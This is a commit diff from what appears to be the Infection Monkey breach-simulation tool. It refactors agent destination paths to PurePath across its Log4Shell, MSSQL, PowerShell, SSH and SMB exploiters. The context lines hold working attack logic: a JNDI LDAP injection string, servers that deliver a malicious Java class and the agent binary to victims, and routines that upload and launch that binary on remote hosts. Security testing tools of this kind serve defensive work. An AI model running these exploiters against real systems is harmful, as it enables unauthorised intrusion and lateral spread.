commit
2471eb6762
|
@ -1,5 +1,6 @@
|
||||||
import logging
|
import logging
|
||||||
import time
|
import time
|
||||||
|
from pathlib import PurePath
|
||||||
|
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||||
from infection_monkey.exploit.log4shell_utils import (
|
from infection_monkey.exploit.log4shell_utils import (
|
||||||
|
@ -10,6 +11,7 @@ from infection_monkey.exploit.log4shell_utils import (
|
||||||
build_exploit_bytecode,
|
build_exploit_bytecode,
|
||||||
get_log4shell_service_exploiters,
|
get_log4shell_service_exploiters,
|
||||||
)
|
)
|
||||||
|
from infection_monkey.exploit.tools.helpers import get_agent_dest_path
|
||||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
from infection_monkey.i_puppet.i_puppet import ExploiterResultData
|
from infection_monkey.i_puppet.i_puppet import ExploiterResultData
|
||||||
|
@ -60,13 +62,13 @@ class Log4ShellExploiter(WebRCE):
|
||||||
self._agent_http_server_thread = None
|
self._agent_http_server_thread = None
|
||||||
|
|
||||||
def _start_servers(self):
|
def _start_servers(self):
|
||||||
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
|
target_path = get_agent_dest_path(self.host, self.options)
|
||||||
|
|
||||||
# Start http server, to serve agent to victims
|
# Start http server, to serve agent to victims
|
||||||
agent_http_path = self._start_agent_http_server(dropper_target_path)
|
agent_http_path = self._start_agent_http_server(target_path)
|
||||||
|
|
||||||
# Build agent execution command
|
# Build agent execution command
|
||||||
command = self._build_command(dropper_target_path, agent_http_path)
|
command = self._build_command(target_path, agent_http_path)
|
||||||
|
|
||||||
# Start http server to serve malicious java class to victim
|
# Start http server to serve malicious java class to victim
|
||||||
self._start_class_http_server(command)
|
self._start_class_http_server(command)
|
||||||
|
@ -111,7 +113,7 @@ class Log4ShellExploiter(WebRCE):
|
||||||
interface_ip = get_interface_to_target(self.host.ip_addr)
|
interface_ip = get_interface_to_target(self.host.ip_addr)
|
||||||
return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
|
return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
|
||||||
|
|
||||||
def _build_command(self, path, http_path) -> str:
|
def _build_command(self, path: PurePath, http_path) -> str:
|
||||||
# Build command to execute
|
# Build command to execute
|
||||||
monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path)
|
monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path)
|
||||||
if "linux" in self.host.os["type"]:
|
if "linux" in self.host.os["type"]:
|
||||||
|
@ -157,7 +159,6 @@ class Log4ShellExploiter(WebRCE):
|
||||||
"port": port,
|
"port": port,
|
||||||
}
|
}
|
||||||
self.exploit_info["vulnerable_urls"].append(url)
|
self.exploit_info["vulnerable_urls"].append(url)
|
||||||
self.exploit_result.propagation_success = True
|
|
||||||
|
|
||||||
def _wait_for_victim(self) -> bool:
|
def _wait_for_victim(self) -> bool:
|
||||||
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
|
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
|
||||||
|
@ -186,6 +187,7 @@ class Log4ShellExploiter(WebRCE):
|
||||||
|
|
||||||
while not timer.is_expired():
|
while not timer.is_expired():
|
||||||
if self._agent_http_server_thread.downloads > 0:
|
if self._agent_http_server_thread.downloads > 0:
|
||||||
|
self.exploit_result.propagation_success = True
|
||||||
break
|
break
|
||||||
|
|
||||||
# TODO: if the http server got an error we're waiting for nothing here
|
# TODO: if the http server got an error we're waiting for nothing here
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
from pathlib import Path
|
from pathlib import PurePath
|
||||||
from time import sleep
|
from time import sleep
|
||||||
|
|
||||||
import pymssql
|
import pymssql
|
||||||
|
@ -132,7 +132,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
|
raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
|
||||||
self.run_mssql_commands(array_of_commands)
|
self.run_mssql_commands(array_of_commands)
|
||||||
|
|
||||||
def run_monkey(self, monkey_path_on_victim: Path):
|
def run_monkey(self, monkey_path_on_victim: PurePath):
|
||||||
monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim)
|
monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim)
|
||||||
self.run_mssql_command(monkey_launch_command)
|
self.run_mssql_command(monkey_launch_command)
|
||||||
self.run_payload_file()
|
self.run_payload_file()
|
||||||
|
@ -142,7 +142,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
self.cursor.execute(cmd)
|
self.cursor.execute(cmd)
|
||||||
sleep(MSSQLExploiter.QUERY_BUFFER)
|
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||||
|
|
||||||
def upload_monkey(self, monkey_path_on_victim: Path):
|
def upload_monkey(self, monkey_path_on_victim: PurePath):
|
||||||
monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim)
|
monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim)
|
||||||
self.run_payload_file()
|
self.run_payload_file()
|
||||||
self.add_executed_cmd(monkey_download_command.command)
|
self.add_executed_cmd(monkey_download_command.command)
|
||||||
|
@ -158,7 +158,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
self.run_mssql_command(tmp_dir_removal_command)
|
self.run_mssql_command(tmp_dir_removal_command)
|
||||||
|
|
||||||
def start_monkey_server(self, monkey_path_on_victim: Path) -> LockedHTTPServer:
|
def start_monkey_server(self, monkey_path_on_victim: PurePath) -> LockedHTTPServer:
|
||||||
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
self.host, str(monkey_path_on_victim), self.agent_repository
|
self.host, str(monkey_path_on_victim), self.agent_repository
|
||||||
)
|
)
|
||||||
|
@ -169,12 +169,12 @@ class MSSQLExploiter(HostExploiter):
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
http_thread.join(LONG_REQUEST_TIMEOUT)
|
http_thread.join(LONG_REQUEST_TIMEOUT)
|
||||||
|
|
||||||
def write_download_command_to_payload(self, monkey_path_on_victim: Path):
|
def write_download_command_to_payload(self, monkey_path_on_victim: PurePath):
|
||||||
monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim)
|
monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim)
|
||||||
self.run_mssql_command(monkey_download_command)
|
self.run_mssql_command(monkey_download_command)
|
||||||
return monkey_download_command
|
return monkey_download_command
|
||||||
|
|
||||||
def get_monkey_launch_command(self, monkey_path_on_victim: Path):
|
def get_monkey_launch_command(self, monkey_path_on_victim: PurePath):
|
||||||
# Form monkey's launch command
|
# Form monkey's launch command
|
||||||
monkey_args = build_monkey_commandline(
|
monkey_args = build_monkey_commandline(
|
||||||
self.host, self.current_depth - 1, monkey_path_on_victim
|
self.host, self.current_depth - 1, monkey_path_on_victim
|
||||||
|
@ -187,7 +187,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
suffix=suffix,
|
suffix=suffix,
|
||||||
)
|
)
|
||||||
|
|
||||||
def get_monkey_download_command(self, monkey_path_on_victim: Path):
|
def get_monkey_download_command(self, monkey_path_on_victim: PurePath):
|
||||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
|
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
|
||||||
http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim)
|
http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim)
|
||||||
)
|
)
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
import logging
|
import logging
|
||||||
from pathlib import Path
|
from pathlib import Path, PurePath
|
||||||
from typing import List, Optional
|
from typing import List, Optional
|
||||||
|
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
|
@ -147,7 +147,7 @@ class PowerShellExploiter(HostExploiter):
|
||||||
f"Failed to execute the agent binary on the victim: {ex}"
|
f"Failed to execute the agent binary on the victim: {ex}"
|
||||||
)
|
)
|
||||||
|
|
||||||
def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: Path):
|
def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: PurePath):
|
||||||
|
|
||||||
temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}")
|
temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}")
|
||||||
|
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
import abc
|
import abc
|
||||||
import logging
|
import logging
|
||||||
from pathlib import Path
|
from pathlib import Path, PurePath
|
||||||
from typing import Optional
|
from typing import Optional
|
||||||
|
|
||||||
import pypsrp
|
import pypsrp
|
||||||
|
@ -64,7 +64,7 @@ class IPowerShellClient(Protocol, metaclass=abc.ABCMeta):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
@abc.abstractmethod
|
@abc.abstractmethod
|
||||||
def copy_file(self, src: Path, dest: Path) -> bool:
|
def copy_file(self, src: Path, dest: PurePath) -> bool:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
@abc.abstractmethod
|
@abc.abstractmethod
|
||||||
|
@ -102,7 +102,7 @@ class PowerShellClient(IPowerShellClient):
|
||||||
output, _, _ = self._client.execute_cmd(cmd)
|
output, _, _ = self._client.execute_cmd(cmd)
|
||||||
return output
|
return output
|
||||||
|
|
||||||
def copy_file(self, src: Path, dest: Path):
|
def copy_file(self, src: Path, dest: PurePath):
|
||||||
try:
|
try:
|
||||||
self._client.copy(str(src), str(dest))
|
self._client.copy(str(src), str(dest))
|
||||||
logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}")
|
logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}")
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
import io
|
import io
|
||||||
import logging
|
import logging
|
||||||
from pathlib import Path
|
from pathlib import PurePath
|
||||||
|
|
||||||
import paramiko
|
import paramiko
|
||||||
|
|
||||||
|
@ -265,7 +265,7 @@ class SSHExploiter(HostExploiter):
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
def _set_executable_bit_on_agent_binary(
|
def _set_executable_bit_on_agent_binary(
|
||||||
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: Path
|
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath
|
||||||
):
|
):
|
||||||
ftp.chmod(str(monkey_path_on_victim), 0o700)
|
ftp.chmod(str(monkey_path_on_victim), 0o700)
|
||||||
self.telemetry_messenger.send_telemetry(
|
self.telemetry_messenger.send_telemetry(
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import logging
|
import logging
|
||||||
import random
|
import random
|
||||||
import string
|
import string
|
||||||
from pathlib import Path
|
from pathlib import Path, PurePosixPath, PureWindowsPath, PurePath
|
||||||
from typing import Any, Mapping
|
from typing import Any, Mapping
|
||||||
|
|
||||||
from infection_monkey.model import VictimHost
|
from infection_monkey.model import VictimHost
|
||||||
|
@ -18,18 +18,18 @@ def get_random_file_suffix() -> str:
|
||||||
return random_string
|
return random_string
|
||||||
|
|
||||||
|
|
||||||
def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path:
|
def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> PurePath:
|
||||||
if host.os["type"] == "windows":
|
if host.os["type"] == "windows":
|
||||||
path = Path(options["dropper_target_path_win_64"])
|
path = PureWindowsPath(options["dropper_target_path_win_64"])
|
||||||
else:
|
else:
|
||||||
path = Path(options["dropper_target_path_linux"])
|
path = PurePosixPath(options["dropper_target_path_linux"])
|
||||||
|
|
||||||
return _add_random_suffix(path)
|
return _add_random_suffix(path)
|
||||||
|
|
||||||
|
|
||||||
# Turns C:\\monkey.exe into C:\\monkey-<random_string>.exe
|
# Turns C:\\monkey.exe into C:\\monkey-<random_string>.exe
|
||||||
# Useful to avoid duplicate file paths
|
# Useful to avoid duplicate file paths
|
||||||
def _add_random_suffix(path: Path) -> Path:
|
def _add_random_suffix(path: PurePath) -> PurePath:
|
||||||
stem = path.name.split(".")[0]
|
stem = path.name.split(".")[0]
|
||||||
stem = f"{stem}-{get_random_file_suffix()}"
|
stem = f"{stem}-{get_random_file_suffix()}"
|
||||||
rand_filename = "".join([stem, *path.suffixes])
|
rand_filename = "".join([stem, *path.suffixes])
|
||||||
|
|
|
@ -2,7 +2,7 @@ import logging
|
||||||
import ntpath
|
import ntpath
|
||||||
import pprint
|
import pprint
|
||||||
from io import BytesIO
|
from io import BytesIO
|
||||||
from pathlib import Path
|
from pathlib import PurePath
|
||||||
from typing import Optional
|
from typing import Optional
|
||||||
|
|
||||||
from impacket.dcerpc.v5 import srvs, transport
|
from impacket.dcerpc.v5 import srvs, transport
|
||||||
|
@ -22,7 +22,7 @@ class SmbTools(object):
|
||||||
def copy_file(
|
def copy_file(
|
||||||
host,
|
host,
|
||||||
agent_file: BytesIO,
|
agent_file: BytesIO,
|
||||||
dst_path: Path,
|
dst_path: PurePath,
|
||||||
username,
|
username,
|
||||||
password,
|
password,
|
||||||
lm_hash="",
|
lm_hash="",
|
||||||
|
@ -104,7 +104,7 @@ class SmbTools(object):
|
||||||
|
|
||||||
if str(dst_path).lower().startswith(share_path.lower()):
|
if str(dst_path).lower().startswith(share_path.lower()):
|
||||||
high_priority_shares += (
|
high_priority_shares += (
|
||||||
(ntpath.sep + str(dst_path)[len(share_path):], share_info),
|
(ntpath.sep + str(dst_path)[len(share_path) :], share_info),
|
||||||
)
|
)
|
||||||
|
|
||||||
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
||||||
|
|
Loading…
Reference in New Issue